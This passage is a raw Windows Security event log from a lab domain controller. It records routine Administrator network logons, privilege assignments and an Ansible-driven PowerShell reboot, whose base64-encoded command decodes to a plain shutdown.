	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=248030
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=248029
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FC6E4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=248028
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1F4F19

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248027
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FC6E4

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=248026
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FC6E4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=248025
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=248024
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=248023
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FC5FC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248022
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FC5FC

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=248021
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FC5FC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=248020
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=248019
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=248018
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1F6EEB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=248017
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1F6496

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=248016
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1F5140

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:43:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248015
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Process Information:
	New Process ID:		0x82c
	New Process Name:	C:\Windows\System32\wbem\WmiPrvSE.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x3b4
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\wbem\wmiprvse.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:43:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248068
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x20015D

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:43:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=248067
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x20015D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:43:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=248066
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:43:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=248065
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:43:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=248064
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FF0BC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:43:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248063
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FCB55

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdc0
	New Process Name:	C:\Windows\System32\shutdown.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf50
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\shutdown.exe" /r /t 2 /c "Reboot initiated by Ansible"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:43:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248062
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FCB55

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf50
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfe4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgBzAGgAdQB0AGQAbwB3AG4AIAAvAHIAIAAvAHQAIAAyACAALwBjACAAIgBSAGUAYgBvAG8AdAAgAGkAbgBpAHQAaQBhAHQAZQBkACAAYgB5ACAAQQBuAHMAaQBiAGwAZQAiAAoASQBmACAAKAAtAG4AbwB0ACAAJAA/ACkAIAB7ACAASQBmACAAKABHAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEwAQQBTAFQARQBYAEkAVABDAE8ARABFACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkAIAB7ACAAZQB4AGkAdAAgACQATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAB9ACAARQBsAHMAZQAgAHsAIABlAHgAaQB0ACAAMQAgAH0AIAB9AA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:43:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248061
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FF0BC

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:43:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=248060
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FF0BC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:43:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=248059
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:43:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=248058
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:43:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=248057
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x1FCB55

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfe4
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc40
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAHoAQQBHAGcAQQBkAFEAQgAwAEEARwBRAEEAYgB3AEIAMwBBAEcANABBAEkAQQBBAHYAQQBIAEkAQQBJAEEAQQB2AEEASABRAEEASQBBAEEAeQBBAEMAQQBBAEwAdwBCAGoAQQBDAEEAQQBJAGcAQgBTAEEARwBVAEEAWQBnAEIAdgBBAEcAOABBAGQAQQBBAGcAQQBHAGsAQQBiAGcAQgBwAEEASABRAEEAYQBRAEIAaABBAEgAUQBBAFoAUQBCAGsAQQBDAEEAQQBZAGcAQgA1AEEAQwBBAEEAUQBRAEIAdQBBAEgATQBBAGEAUQBCAGkAQQBHAHcAQQBaAFEAQQBpAEEAQQBvAEEAUwBRAEIAbQBBAEMAQQBBAEsAQQBBAHQAQQBHADQAQQBiAHcAQgAwAEEAQwBBAEEASgBBAEEALwBBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBTAFEAQgBtAEEAQwBBAEEASwBBAEIASABBAEcAVQBBAGQAQQBBAHQAQQBGAFkAQQBZAFEAQgB5AEEARwBrAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBBAGcAQQBFAHcAQQBRAFEAQgBUAEEARgBRAEEAUgBRAEIAWQBBAEUAawBBAFYAQQBCAEQAQQBFADgAQQBSAEEAQgBGAEEAQwBBAEEATABRAEIARgBBAEgASQBBAGMAZwBCAHYAQQBIAEkAQQBRAFEAQgBqAEEASABRAEEAYQBRAEIAdgBBAEcANABBAEkAQQBCAFQAQQBHAGsAQQBiAEEAQgBsAEEARwA0AEEAZABBAEIAcwBBAEgAawBBAFEAdwBCAHYAQQBHADQAQQBkAEEAQgBwAEEARwA0AEEAZABRAEIAbABBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBaAFEAQgA0AEEARwBrAEEAZABBAEEAZwBBAEMAUQBBAFQAQQBCAEIAQQBGAE0AQQBWAEEAQgBGAEEARgBnAEEAUwBRAEIAVQBBAEUATQBBAFQAdwBCAEUAQQBFAFUAQQBJAEEAQgA5AEEAQwBBAEEAUgBRAEIAcwBBAEgATQBBAFoAUQ